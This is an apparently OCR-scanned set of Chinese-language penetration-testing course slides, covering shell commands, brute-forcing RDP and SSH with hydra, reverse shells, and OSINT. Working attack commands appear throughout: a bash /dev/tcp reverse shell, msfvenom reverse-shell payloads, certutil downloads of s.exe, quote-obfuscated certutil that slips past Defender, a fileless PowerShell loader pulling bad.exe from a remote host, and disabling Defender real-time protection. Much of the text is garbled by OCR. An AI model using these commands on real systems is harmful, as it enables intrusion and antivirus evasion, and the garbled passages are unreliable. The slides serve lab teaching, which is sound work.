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# Outline

* Operating System Basic
*Vulnerability Scan

* Web Application Vulnerability

» Post Exploit & Privilege Escalation

* Event Log Analysis
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Trojan:Win32/Ceprolad.A

BERER B2

RS AP

HE: 2023/6/15 T4 03:42
#ghl FEPAERE

HAEN: LEFERER  UBENTRENEENGHS -

364

REYERER:

CmdLine: C:\Windows\System32\certutil.exe -urlcache -f
http://10.211.55.7:8000/s.exe s.exe

OK

7N\



n IR 0 = nod__s=is e Lo P

Windows £ #

% TRE AR B ERE

w7 EARFIL - cmd X + | v

C:\Users\steven\shell>""ce"""r"tu""t"il" -"u"rl"""c"a"che" -f http://10.211.55.7:8000/s.exe s.exe

£ BEH Microsoft Defender FAESEREBRYFTE ****x R L *xxx

()
10w

e} EEERHIIEEEREBELNESE F=EaiT
FE BEGRTEEHELEE -
()
' @ ==
| B2

CertUtil: -URLCache &S H, I A; -

C:\Users\steven\she11>|
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PS5 C:\Windows\System3i2> Get-MpComputerStatus

RealTimeProtectionEnabled

PS C:\Windows\Systemi2> Set-MpPreference -

Lelect RealTimeProtectionEnabled
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Administrator: CAWindows'system32\cmnd.exe - powershe

- BEEIE t I T MASHRIN T

PS5 C:\Windows\System32> Get-MpComputerStatus

RealTimeProtectionEnabled

PS C:\Windows\System32» Set-MpPreference -I

PS C:\Windows\System32> Set-MpPreference
PS C:\Windows\System32» Get-MpComputerStatus

™

RealTimeProtectionEnabled

PS C:\Windows\System32:> whoami
nt authority\system
PS5 C:\Windows\System32:

Lelect RealTimeProtectionEnabled

Select RealTimeProtectionEnabled

By Steven Meow
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HackTool:Win32/Mimikatz!pz

Alert level: High

Status: Active

Date: 4/21/2024 1:24 PM
Category: Tool

Details: This program can be used for malicious purposes if unauthorized.

Learn more

Affected items:

file: Ch\Users\Meowh\Desktop\mimikatz.exe

13



BB EREREESE (file-less) R

$¢data = (New-Object System.Net.WebClient).DownloadData( 'http://192.168.1.333:8000/bad.exe")
$assem = [System.Reflection.Assembly]::Load($data)
$method = $assem.Entrypoint

$argu= New-Object -TypeName System.Collections.ArrayList
[string[]]$strings = "exploit"

$argu.Add($strings)

$method.Invoke($null, $argu.ToArray())



BHE VM EREREZE TIE ---?

G Windows 10 21H2 - VMware Workstation
file Edit View VM Tabs Hep |l & O @ 2 MNEHDT P H O~

LoD Home » Windows 10 21H2

v

- My Computer
» Windows 10 21H2
< X © 127001

EXPLOIT!!

10:30 AM
2/21/2024

Ll © Type here to search =11 L ; ~ Market Brief ~ © @&

To return to your computer, move the mouse pointer outside or press Ctrl+Alt. v =y .
= = 10:30 AM
LW © Type here to search . A A@® & ® ;,/)’0‘“
1 2/21/2024

https://twitter.com/theori_io/status/1764544922005430576
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# Command Line (Terminal

C:\Windows\System32\cmd.exe (kali® kali)-[~]
[, - fiveks-NacBook-Pro:~ veryv§ screenfetch
L:\Windows>systeninfo L% screenfetch yvé
STEVENYU7SEF kali@kali @
Hicrosoft Windovs 11 B3HR US:LEaIi_LLi_nux e 64bit Mac 0S X 18.18.5 14727
ﬁ?é?éggg?%ﬂ‘;o&f%oimoo Kernel: x86_64 Linux 5.18.0-kali5-cloud-amd64 1444/, x86_64 Darvin 14.5.8
4 IBS7 T VR Uptime: 2d 23h 31m R LA, A R 3d 58a
3 Nultiprocessor Free 0Xxoc:,. ... Packages: 2323 FE At e T Ry ey & 56
¥ % Steven Yu ,ONkc; , ;cok0dc ', . Shell: zsh 5.9 ( RLIRTERIREELARI I RN bash 3.2,57
. oMo *:ddo. Disk: 656 / 101G (67%) PIIEIITITIRLR TR EER IR IIRT"
i 00330-80000-00000- 44596 dMc :00; CPU: Intel Xeon Platinum 8175M @ 2x 2.56Hz a2 e EUNRIV00: I0R0K1 N0
& Hy: 202278722, T4 02:33:46 oM. .10, RAM: 457MiB / 3869MiB q
gX 2023/6/18, L2 06:38:00 s Quartz Compositor
BEFRAEET: Parallels International GmbH. ’-XD Blue
f,é{ﬁ?:ﬁ: Parallels ARM Virtual Machine 2 :ﬂUOdlc- Not Found
i LREER] . _based PC ) O
= A i i edood: : 05555555 - Intel Core 15-4288U CPU @ 2.686Hz
[01]: ARMvE (64-bit) Family 8 Hodel 0 Revision 0 ~3200 Mhz . e Intel Iris
[02]): ARMv8 (64-bit) Family 8 Model O Revision 0 ~3200 Mhz 6230M8 / 8192M8
[03]: ARMv8 (64-bit) Family 8 Model O Revision 0 ~3200 Mhz
[04]: ARMv8 (64-bit) Family 8 Model O Revision 0 3200 Mhz )
BIOS REA: Parallels International GmbH. 18.2.0 (53488), 1601/1/1 ¢
C:\Windows K
C:\¥indovs\systen32 ) tiveks-MacBook-Pro:~ veryvs |}

\Device‘\HarddiskYolume2
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# Why should we learn command

(FARIETEL cul EE + IEE
- RZEFHERBEER! cL - HAES Gul
GUI BREEFHNE - AZIRAEH

g !




° 1@1:; E%
° {_ ‘%H%ﬂz/
‘GUI EFE

g !




E Linux ‘ command

ExHfEE

e cd : Change Directory

* |s : LiSt
o -| ARAET\ (long)
- -2 BT FTRIES - BSEEIE (all)
 -RIEEZETRFTEFERIK (Recursive)

* pwd: Print Working Directory

23
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* cat

* |ess

*more

*8rep

# Linux ‘ command

* head
* tail
°*Nano
*Vim

pr



-l
-l
| J

7z
alpine
ar

arj

arp

as
ascii-xfr
ascii85
aspell
atobm
awk
base32
base58
base64
basenc
basez
bash

bc

LinuX

bconsole
bridge

busybox

bzip2

c89

c99

cat

check_cups
check_log
check_memory
check_raid
check_statusfile
cmp

column

comm

cp

cpio

csplit

csvtool
cupsfilter
curl

cut

date

dd

dialog
diff

dig
dmesg
docker
dosbox
dotnet
easy_install
ed

elvish
emacs

Egn

command — Read File

e espeak
°  ex

* exiftool
e expand
*  expect

o file

e fmt

e fold

* fping

e gawk

° gcc

* gcore

e gdb

* genisoimage

s gimp
e git

*  grep
s gzip

hd

head
hexdump
highlight
iconv

ip

irb

lis

join

jq
jrunscript
julia

ksh
ksshell
latex
latexmk
less

look

ltrace

[VE]
Iwp-download
lwp-request
man

mawk

more
mosquitto
msgattrib
msgcat
msgconv
msgfilter
msgmerge
msguniq
mtr

nano

nasm

nawk

neofetch
nft

n

nm
nmap
node
nroff
octave
od
openssl|
openvpn
pandoc
paste
pax
pdflatex
perl

pg

php

25
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# Linux ‘ comma

nd

- BEIPATDEEER—1R - RABE—F

IS S .. 7
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# Linux ‘ command

 BZ I EFIESIEANCRVEES

- EERFHZENBYRESE —IKHY !
- FRexPhZEREEE B "cat BURE R txt"
« BA—TEZMN "base64s -i BUXEFL.txt | base64 —d"




E Linux ‘ command - Recon

¢ 1%?-(7\_ ﬂ(lﬁ‘/fé ;;ﬁ.;gg. Fﬁﬂ 8___,’.,,...

- DV EEFGAELTS =R e
ﬁﬁﬁﬁtlﬂlﬂ\

I]]]f




# Linux 1 command - Recon

[

 WEBSAE TS
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# Linux ‘ command - Recon

N N /
?’kﬂfﬁ" ?EEW"

.

« RA—OEKE
- DWEBFEAEES=F
® %

« BB 7 —— ; 1
< FTET 7 : -Q\Mﬁka

- BT ?

-
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# Linux l command - I 2

e id : 887 Linux SBIEREHRY uid / gid

e whoami . BENEFIFRBEYRTE

e £ Linux EEER#REF
==& - root
== {F & uid/gid : 0




E Linux l command — F7EHf

* hostname . EERGHY A TE

* uname -a: RIFAIZINARZS

* ps aux / top - BAKGAYHIT process
+ ifconfig / ip a : ERGAVIBIRE

* pwd . ERIBVE IR

- w : ZARYTTY EEA

* cat /etc/passwd . EASTRMERHBEN

33



#Linux gl command - RESHE

- S EREISHVE ~ ERBNERR
- iz FRFLVERRRENEITS
- 1. SXEF AR ERLETERIEF

- 2. BB/ EEEER
- 3. PIUTERENES
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# Windows ... command

o Bf A AR ELFNTE Windows HY GUI FEFE

» tEFHFREIRAE Linux BY Command fEFE

- BEE I - Windows BVIESHIIREZHEREE

* Powershell (powershell.exe) (fIERE Windows 7 HEL

=
e Command Prompt (cmd.exe) ({6f8/\EE - DOSTRE)

]

]

)

35
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# Windows gy command

i o
i BTJ

* cd ! LJIAERIR

» dir : FIHERRAR

« type . BAVEEANE (BB linux BY cat)
* ipconfig /all : IS FIERIE

* netuser : FATN/EBUCRIRIERBEH

36
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# Windows Ny command

- B
e whoami

e echo %username%

o« TTEMR :
* hostname : BRG]
« systeminfo . RIAAISZIEEF
- tasklist - 3B TFEES
o cd ¢ RNESEEILUES linux BY pwd

-—l—‘

37



# CMD / PowerShell / Bash ¥}88

PowerShell (#&<7%1)
Get-Childitem
Test-Connection'®!
Get-Content
Get-Command
Get-Help
Clear-Host
Copy-Item
Move-Itern
Remove-Itern
Rename-Item
Get-Location
Pop-Location
Push-Location
Set-Location
Tee-Object
Write-Output
Get-Process
Stop-Process
Select-String
Sat-Variable
Invoke-WebReqguest

PowerShell (B%)
gei, dir, Is
ping
gc, type, cat
gem
help, man
cls, clear
cpi, copy, cp
mi, move, mv
ri, del, erase, rmdir, rd, rm
rni, ren, mv
gl, cd, pwd
popd
pushd
sl, ed, chdir
tee
echo, write
gps, ps
spps, kill
sls
sv, set

fwr, eﬁH,—w@&E[r]

ping
type
help
help
cls
copy, Xcopy, robocopy
move
del, erase, rmdir, rd
ren, rename
cd
popd
pushd
cd, chdir
FEA
echo
tlist,[] tasklist(d]
kill,le] taskkilld]
findstr

set

Unix shell
s
ping
cat
type, which, compgen
apropos, man
clear
cp
mv
rm, rendir
mv
pwd
popd
pushd
cd

tee

ps
killte]
find, grep
env, export, set, setenv

wget, curl

8
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Ref : https://zh.wikipedia.org/zh-tw/PowerShell




E Remote Access
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Remote Access

BLEEPINGCOMPUTER

NEWS ~ TUTORIALS - VIRUS REMOVAL GUIDES « DOWNLOADS - DEALS = VPN!

Home MWews » Security > TeamViewer abused to breach networks in new ransomware attacks

TeamViewer abused to breach networks in new ransomware
attacks

By Bill Toulas January 18,

Ransomware actors are again using TeamViewer to gain initial access to organization endpoints and
attempt to deploy encryptors based on the leaked LockBit ransomware builder.

TeamViewer is a legitimate remote access tool used extensively in the enterprise world, valued for its
simplicity and capabilities.

Unfortunately, the tool is also cherished by scammers and even ransomware actors, who use it to gain
access to remote desktops, dropping and executing malicious files unhindered.

40
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# Remote Access - myg

* Remote Desktop : RDP
* Server Message Block : SMB (PSexec, SMB Exec)

* Microsoft WS-Management: Win-RM

» SSH: FEERRNZ5<

41



Remote Access - ....

9

i

BB #R (Remote Desktop Protocol, RDP)

#5317 computer. fabrikam com
HAEEETE: SFET

ElS-ZTER =S - 5 TR ERER S -

v) BREIEO) | Ewa) ||

FHAEHD

42
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# Remote Access - g

* RDP

* 3389 Port TCP
- ZEF—EOILLHERRRY 1P FONISEZFR4TE Port)

i I T T ~ YT




Nmap 85
# Remote Access - .... TR B Por

nmap -pPORT -A -Pn IP

- ROP B R mEBIN2TE - SHKARAE

[:—[kaliﬁikali]—:"]
%

faiE
nmap —-Pn -p3389 -A 192.168.48.138 -
Starting Nmap 7.945VN ( https://nmap.org ) at 2024-04-21 01:43 EDT -pPORT = Scan speC|f|c pOft
Mmap scan report for 192.168.48.13@
Host is up (0.0839s latency). . .
-A = OS, Version detection
PORT STATE SERVICE VERSION
3389/tcp open ssl/ms-wbt-server? _ — :
| ssl-date: 2024-04-21T@5:44:10:00:00; +3s from scanner time. Pn - NO plng scan
| rdp-ntlm-info:
| Target_Name: WIN-8BOPD1GTOSE
NetBIOS Domain_Mame: WIN-ZBOPD1GTOSE
NetBIOS_Computer_MName: WIN-SBOPD1GTOSE
DNS_Domain_Mame: WIN-ZBOPD1GTOSE
DNS_Computer_Name: WIN-ZBOPD1GTOSE
Product Version: 6.1.7600
_  System_Time: 2024-04-21T05:44:10+00:0@
| ssl-cert: Subject: commonName=WIN-S8BOPD1GTOSE
| Not valid before: 2024-04-06T@5:23:54
| Not valid after: 2824-10-B6T85:23:54

Host script results:
| clock-skew: mean: 2s, deviation: 0s, median: 2s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Mmap done: 1 IP address (1 host up) scanned in 18.52 seconds



# Remote Access - .... S

| = 1R%E
-P = BT
e RDP FE= I ER rdp:// HEBEE P LS

* hydra - Admin -P wordlist.txt rdp://192.168.48.130

I_—[ kali® kali)-[~]
% cat wordlist.txt
AN

bbb

Password

123456

PR$$word!

12340WER

[:—[kaliﬁﬁkali]—:ﬂj
% hydra -1 Admin -P wordlist.txt rdp://192.168.48.130
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret servic

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-21 01:48:50

[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of paral
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)

[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.

[DATA] max &4 tasks per 1 server, overall 4 tasks, 6 login tries (1:1/p:6), ~2 tries per task

[DATA] attacking rdp://192.168.48.130:3389/

[3389][rdp] host: 192.168.48.130 login: Admin password: P@$$werd!

1 of 1 target successfully completed, 1 wvalid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-21 01:48:53
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# Remote Access - gg

* RDP

e Kali Linux RDP Client : xfreerdp

* xfreerdp /v:IP:PORT /u:USER /p:PASSWORD -tls-seclevel:0
« PORT AR EFRE%HY 3389 RITILAAE
- MIRESHBIRERET (28 - BIEFRZEERY) - JLARSISREIER
» BEhRR#R (win7) BIREERT -tls-seclevel:0
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E Remote Access - Ay

L¢

[01:
[01:
[01:
[01:
[01:
[01:

(kali® kali)-[~]

xfreerdp /v:192.168.48.130

45:
45:
45:
45:
45:
45:

44
44
45:
45:
:1423]
45:

45

118]
119]
330]
330]

424]

[705147:
[705147:
[705147:
[705147:
[705147:
[705147:

705148]
705148]
705148]
705148]
705148]
705148]

/u:'Admin' /p:'Pa$$word!' -tls-seclevel:@

[WARN][com
[WARN][com
[INFO][com
[INFO][com
[INFO][com
[INFO][com

.freerdp.
.freerdp.
.freerdp.
.freerdp.
.freerdp.
.freerdp.

crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
crypto] - CN = WIN-8BOPD1GTOSE

gdi] - Local framebuffer format PIXEL_FORMAT_BGRX32

gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32

channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd

channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx

FreeRDP: 192.168.48.130 Q

Ly



# Remote Access - ‘

l_—( kali® kali)-[~]
$ nmap -sV -A -p22 192.168.48.129
Starting Mmap 7.945VN ( https://nmap.org )} at 2024-04-21 @1:54 EDT

° [ J
o |
In UX ® Nmap scan report for 192.168.48.129
Host is up (@.0021s latency).

PORT STATE SERVICE VERSION

- SSH (Secu re SHe”) fzizﬁfhggi:w?sh OpenSSH 7.7 (protocol 2.8)

| 2048 la:cb:5e:a3:3d:dl:da:c@:ed:2a:61:7f:73:79:46:ce (RSA)
| 256 54:9e:53:23:57:fc:6@:le:c@:41:cb:f3:85:32:81:Ffc (ECDSA)
|_ 256 4b:15:7e:7b:b3:07:54:3d:74:ad:e@:94:78:0C:94:93 (ED25519}

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Mmap done: 1 IP address (1 host up) scanned in ©.89 seconds
e Telnet (PTT {EEFRHY)

» BHX - BRI ERE R




[:—[kali§}kali]—:“]

% ssh victim@192.168.48.129 -p 2222

victimgl92.168.48.129 s password:

Welcome to Ubuntu 22.@4.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

t Remote Access - ‘

System information as of Sun Apr 21 @5:55:04 AM UTC 2024

System load: 1.61083984375
Usage of /: 77.9% of 9.75GB
Memory usage: 27%

Swap usage: 2%

° ()
. Processes: 29@
I n ux ® Users logged in: 1

IPv4 address for br-722a3f813596: 172.23.8.1
IPv4 address for br-7f9197a697ec: 172.21.0.1
IPv4 address for br-941fddis@8le: 172.22.8.1
IPv4 address for br-blla6aBa66df: 172.20.0.1
IPv4 address for br-d2d712bclelf: 172.18.8.1
P SS H (S Sh ” IPv4 address for br-dcf616972ec6: 172.19.9.1
ecu re e IPv4 address for docker@: 172.17.8.1
IPv4 address for ens33: 192.168.48.129

Expanded Security Maintenance for Applications is not enabled.

[ ) ﬁ%ﬁ*ﬁ& TCP 22 PO rt 17 updates can be applied immediately.

To see these additional updates rum: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

* ssh ACCOUNT@HOST {-p PORT}
E;S; The list of available updates is more thanm a week old.
To check for new updates run: sudo apt update

Last login: Sun Apr 21 @5:53:53 2024
victim@victimserver:~$ exit

e ssh ACCOUNT@HOST -i private_key

* Private key #EFREZ 158 E chmod 600



# SSH

° Linux -

« {RCA7S sSSH R BE{EA =1 Shell 15 ?

=E I - SsHIETRA
o {BXFEZE © scp / sftp / sshfs

e Port Forwarding - 182 S {ll:8

50



# SSH TR ER s

-l = IRSR

-P = B HiE
o Hyd ra %nﬁ&ﬁg ssh:// REFBR IP {ii&: port

* hydra -l victim -P wordlist.txt ssh://192.168.48.129:2222

[:—(kaliijkalij—zﬂj
% hydra -1 victim -P wordlist.txt ssh://192.168.48.129:2222
Hydra v9.5 (c) 2823 by van Hauser/THC & David Maciejak - Please do not use in military or

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-21 01:55:27
[WARNING] Many S5SH configurations limit the number of parallel tasks, it is recommended tc¢
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (1:1/p:6), ~1 try per tasl
[DATA] attacking ssh://192.168.48.129:2222/

[2222][ssh] host: 192.168.48.129 login: victim password: P@$$word!

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-84-21 ©01:55:30

51



# Lab

e Windows

%8 Hydra Z= /I EE Windows #a3HY RDP 2215

8 RDP 1 EERE Windows HEzS

* xfreerdp /u:Admin /p:'P@SSwOrd!' /v:WINDOWS_IP

e Linux

37538 Hydra =M% Linux #$28HY RDP 2215

e ssh victim@LINUX_IP

Be#AEFHER

BREEMENE ﬁ%muTE¢z—
AAA

bbb
Password
123456
P@$$wOrd!
1234QWER
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# Reverse Shell

* Why ?

o GESRESROIA{EFR RDP / SSH iEBHE B 1
B ...

* RDP / SSH IWEEBT—ET]E#FRY WAN IP (BRIES

C

I Bk

« RA—aERA—EYLAEUSIRGRZNS - EEE RDP / SSH

 RDP / SSH FIEEHVEEHR
« HYARTMERIBSXKT
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: Why Reverse Shell

RemoteU_ws_e_r =

’(,f-- - - : n " " .
— At veeh s signed in. If you continue, they'll be disconnected ‘-:

& foew
- ".4"“ 7‘,"v'.&~ o = e i
s — ’ s ’
" o - > . - % -zl ke
"

. ¢
- | M rEaY
A
A
= .

*

‘

~

-y o
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Why Reverse Shell

- | ~

'

14:23:10 up 5:13, 2 users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
parallel tty7 10 24Apr23 52days 2:58 0.25s xfce4-session
parallel pts/3 1052131.55.2 14:07 16:08 ©0.06s 0.06s -zsh -g

2023/6/15 N 02:23:41 Microsoft Windows security .. 4624 Logon
2023/6/15 N 02:23:41 Microsoft Windows security ... 4624 Logon
2023/6/15 N5 02:23:41 Microsoft Windows security ... 4648 Logon
2023/6/15 N5 02:23:40 Microsoft Windows security ... 4625 Logon

H{F 4624 * Microsoft Windows security auditing.
—&  EAEN

IREBIEFIEA -

LHEBEEM): =z=t

FIE(S): Microsoft Windows security =iC#(D):  2023/6/15 T 02:23:41
EEZEIEE): T#38EI(Y): Logon

BAR(L): WERFK: BERAN

EEE): bzl ERE(R): DESKTOP-S2HGRVI
YESRTE(O):

FHAZEAR):




-

# Reverse Shell

* Reverse Shell NEEEEHEZFEFRET Port
o EHREZBERABT Port HY Shell #£F874% Bind Shell

* Reverse Shell AR FFIBRVERRT

e Windows / Linux / Mac / BR ATV R

BIEEZSAER T EOPIRE/BHS Reverse Shell

° -ﬁ‘-i]’

 Msfvenom, meterpreter, cobalt-strike, bash, socat, nc
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=

# Reverse Shell = Linux

» fRRXlim
* nc-e /bin/bash IP PORT
- RIHEIBRLEK !
* bash -c 'bash -i >& /dev/IP/PORT 0>&1'

- Wi (INEERX Server)

* nc -nlvp PORT
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=

# Reverse Shell = Linux Example

L—[ kali® kali)-[~]
$ nc -nlvp 8787

° }%”&ﬂﬁﬁ (IQ%*% Server) iiﬁtening on [any] B787 ...

* nc -nlvp 8787
- #RE%Im (INEHE ip OJLLA ip a IE D E)

* bash -c 'bash -i >& /dev/tcp/172.31.200.52/8787 0>&1'

$ bash -c 'bash -i »& /dev/tcp/172.31.200.52/8787 0>51"

)



-

: Reverse Shell — Linux Example

E:—[kaliﬁ)kali]—[*]

% nc -nlvp 8787

listening on [any] 8787 ...
connect to [192.168.48.128] from (UNKNOWN) [192.168.48.129]) 46114
victimgvictimserver:~$% whoami
whoami

victim

victimgvictimserver:~% hostname
hostname

victimserver
victimgvictimserver:~$ |
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» Windows FH%] 2 FLLHER]

# Reverse Shell = Windows

I E]

° :1%'%"'5 ﬂlEizFEﬁ'
« 1. ENAREIRE
e 2.

)'dn]

J PowerShell
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E Msfvenom

e \lenom: JBE

» Msfvenom: Metasploit E{FBYRE= (shell ) FEEERS

* msfvenom -p windows/shell_reverse tcp LHOST=IP LPORT=PORT -f exe -0 s.exe

* IP, PORT &2 I E2HERY |

[:—(kaliﬁﬁkali]-:ftmpfﬁad]
S msfvenom -p windows/shell_reverse_tcp LHOST=192.168.48.128 LPORT=9453 -f exe -0 s.exe

[-]1 No platform was selected, choosing Msf ::Module::Platform:: Windows from the payload
[-]1 No arch selected, selecting arch: x86 from the payload
Mo encoder specified, outputting raw payload

Payload size: 324 bytes
Final size of exe file: 73882 bytes

Saved as: s.exe
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- EFisimEg 5 - BEEEERBKELE 7

o Z8 HTTP Server !!

* python3 -m http.server {PORT}

L—[ fali® kali)-[/tmp/Bad/ntlm_theft/demo ]
% python3 -m http.server 8000
Serving HTTP on ©.2.0.0 port 8@@@ (http://0.0.0.0:8000/) ...
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Python HTTP Server

& Directory listing for / - Windows Internet Explorer

£ | http://192.168.48.128:8000/
¢ Favorites | 53 @ | Suggested Sites = g Web Slice

=

& Directory listing for /

Directory listing for /

BN EEE =55

P~

f= v Pagew Safety~ Tools ﬂv
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AEERETSE ?
e Windows

e curl

e certutil

e powershell iwr
* Linux
* wget

e curl

)



# AEEETE0E ?

e Windows 10 EAI1BRYV R

* curl URL -0 OUTFILE

C:\Users\Administrator\Desktop>curl http://172.31.266.52:8006/5.exe -0 s.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total  Spent Left Speed
166 73862 166 73382 & B 1457k B --1--1-- --i--1-- --:1--:-- 14786k
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- ARERIEE T S0 7

« NAAR T FIMTEE curl SEIELERRHY NEIERES
- HIFHVRZ BT FIRIZRVTE !

o BIZ0 certutil




-l
| J

AR EETE0E?

e Certutil
- RIBHFEHEEIRY T B
- B NE/EEELIEE

* Windows FHEXL B

(mm

[mE
~\¢
=

d

H

C:\Users\steven\shell>certutil -?

#ad:
—dump
—dumpPFX
—-asn

—-decodehex
-decode
—-encode

-deny
-resubmit
-setattributes
-setextension
-revoke
-isvalid

-getconfig
-ping
-pingadmin
-CAInfo
-ca.cert
-ca.chain
-GetCRL
=CRL
—-shutdown

HEORXeERATEE
fEED PFX &4
B Hr ASN.1 HB=E

BETAEURENEEZERDS
# Base6ld JREHNEEZREE
HEBEL| Base6ld [T

BPEBEREX
EFRTBEEX
REBEEEXRNEY
REBEEBEREMS
B &S
BREAMNAREEKE

NEEINREES

#iE Active Directory ZEEEBEEX/ @
$iE Active Directory ZEEEREEE @A
BE’R CA E

il cCA BE

il cA MESHES

H % CRL

BMWER CRL [SL{EFR delta CRL]

B Active Directory B &R

68



-l
| J

AREE

i

e

72N

a7

e certutil -urlcache -f URL OUTFILE

C:\Users\Administrator\Desktoprcertutil -urlcache -f http://172.31.280.52:808088/5.exe 5.exe

*=X¥E Online

CertUtil: -URLCache command completed successfully.

C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is EEB1-788F

Directory of C:\Users‘\Administrator\Desktop

@6/18/2023
@6/18/2023
@7/16/2016
@7/16/2016
@6/17/2023
@6/18/2023
e6/17/2023

8a:
8a:
al:
al:
al:
a8
gal:

18
18
18
18
19
18
51

AM
AM
PM
PM
PM
AM
PM

<DIR>
<DIR>

<DIR:>

4 File(s)
3 Dir(s) 9,9

1,142 Command Prompt.lnk
1,168 Event Viewer.lnk
mimikatz
73,202 RS
2,028,544 winpeas.exe
2,184,656 bytes
13,696,256 bytes free
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-l
Pl |

- #1177 Reverse Shell

« INEHKSERAIRY ncat SE1TERHR

I__II kiwis® kali)-[~/Desktop]
S nc -nlvp 9453
listening on [any] 9453 ...

» RN TARESRES (Reverse Shell)

C:\Users\steven\shell>s.exe
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- # 7T Reverse Shell

[:—[kaliE}kali]—:ftmpfﬂadf
% nc -nlvp 9453

Llistening on [any] 9453 ...

connect to [192.168.48.128] from (UNKNOWN) [192.168.48.130] 49172
Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\UsershAdmin‘Desktop>|]
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EW

(=
* Bx

Qo

indows Defender

:1&

Q

certutil tBEF#IM 7

-

Trojan:Win32/Ceprolad.A

BETRER BRE

RE: R

HE: 2023/6/15 T4 03:42

gl HEPAERS

HAEH: WEAFEER  LEEFNTRENEBENGS -

ZEENER:
CmdLine: C:\Windows\System32\certutil.exe -urlcache -f
http://10.211.55.7:8000/s.exe s.exe

OK
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E Windows Defender

« 53T certutil BEEIM S
- QQ
- BsMFLABERHN ?

O HEHRAEE

= =

Trojan:Win32/Ceprolad.A

BETRER BRE

RE: R

HE: 2023/6/15 T4 03:42

gl HEPAERS

HAEH: WEAFEER  LEEFNTRENEBENGS -

ZEENER:
CmdLine: C:\Windows\System32\certutil.exe -urlcache -f
http://10.211.55.7:8000/s.exe s.exe

OK
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# Windows Defender Bypass

e Defender Bypass

Windows £ ¥
w7 BARFIL - cmd X + v

& === e
s TR R BIHERTE .
C:\Users\steven\shell>""ce"""r"tu""t"il" -"u"rl"""c"a"che" -f http://10.211.55.7:8000/s.exe s.exe

BB EH Microsoft Defender BHSEiE@ARaEEEL ****x AR L *xxx
CertUtil: -URLCache &a S HiII R AL -

C:\Users\steven\shell>|

()
10 oEEsE

e} BEEEHIIEEEABELRNES t2Eai T
FE BEGRITEHELEER -
()
g e ==
i =
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# Windows Defender Bypass

e Defend

Windows 2%
e Q — ] At
w TRl B PhE
= .7:8000/s.exe s.exe
118 EEE Microsoft Defender FA2
)
10 mEmE
Lol KU EHIIEsEABERHNES L
FE BEgRITENEFHHER -
()
i o =
=
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LOLBAS

(i

{1y

SHEIRT RN

IRHYE

LOLBAS ¥ Star | 6,579
Living Off The Land Binaries, Scripts and Libraries

For more info on the project, click on the logo.

If you want to , check out our . Our sets out what
we define as a LOLBin/Script/Lib. More information on programmatically accesssing this
project can be found on the

MITRE ATT&CK® and ATT&CK® are reg;srered trademarks of The MITRE Corpo;aﬂon
You can see the current ATT&CK® mapping of this project on the

If you are looking for UNIX binaries, please visit
If you are looking for drivers, please visit

1SBuild"), functic

ATT&CK®

Functions Type Techniques

Binaries
Binaries

Binaries

Binaries

https://lolbas-project.github.io/
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# Lab

e Linux Reverse Shell

o {8 bash -c 'bash -i >& /dev/IP/PORT 0>&1'

Pl |

* Windows Reverse Shell

 {FFH msfvenom FEE LD ARHIET

* msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > s.exe

» EF python E I {GARA{FEITESS

e python3 -m http.server 8000

o {EBFH certutil SE1T NE]

e certutil -urlcache -f URL OUTFILE

« MITABFED
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OSINT




OSINT = IEAERITER

{mEEYE MEES
* Open Source INTelligence (
3 @
o« NFHIZRIFIEHR

-’
o
RREIS LHKER
FAREZRNER

- EEiES C S EFARZ N T
- RO PIEE—1ERE
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# OSINT

- INOBECHERR LB—S5—17

e DNEMERY— BR
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# OSINT

- B2

- DR TS HIHBNER
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# OSINT
- ERRETHIREE

0539  09:3§ - 539 . 1939

GUAM HONOLUH = .C. GMT / ZULU
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# OSINT
- SRRETHUERE

/19:39

GMT / ZuLu
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OSINT - iInseCAM

Live camera in Taipei, Taiwan, Province Of Live camera in Taipei, Taiwan, Province Of Live camera in Taipei, Taiwan, Province Of

Src: http://www.insecam.org/en/bycountry/TW
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Search completed

Note that any coordinates are an approximation.

AR
RN ‘

RANEN

N
i)

o
—
=
™

# OSINT — GeoSpy

irE
IW\N

&3t

' \\\l

Related Images
City: Tairpei

Explanation: The image was taken in Taipei,

These images might be related to the location of the
photo you uploaded.

Taiwan. The image shows a busy street with tall
buildings on either side. The street is lined with

trees and there are signs in Chinese characters.
The image was taken on a clear day and the sky is

blue with white clouds. The estimated coordinates
of the image are 25.0479° N, 121.56319° E.

DISTRICT
. . b ) TA
New Taipei ( ~

; ¥
— = "SANCHONG 7

s

ZHONGHE R BEITOU
Y
-z SHILIN
5 ~-CDAAN
XINDIAN_-£

Gt &

¢
—

. «  TSA
/
. WENSHAN Talpe'

V/,

) NEIHU
[ £

a~a DA

@ mapbox

0

Src: http://www.insecam.org/en/bycountry/TW
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Pl |

# Google

Hacking

- eSS -

- BB

Google

U H- 4
% L_I::-E—ﬁ

144

s
TT1

H filetype:xls

B9@EFH® HETFAB &P filetype:xis % |
B i fE 1th il Bh &= HiEE RAEE

9 144 THIGR (RWRME 031 8)

© Jladi.com
hittp:/igjjl.jladi.com » _upload » article » files XLS

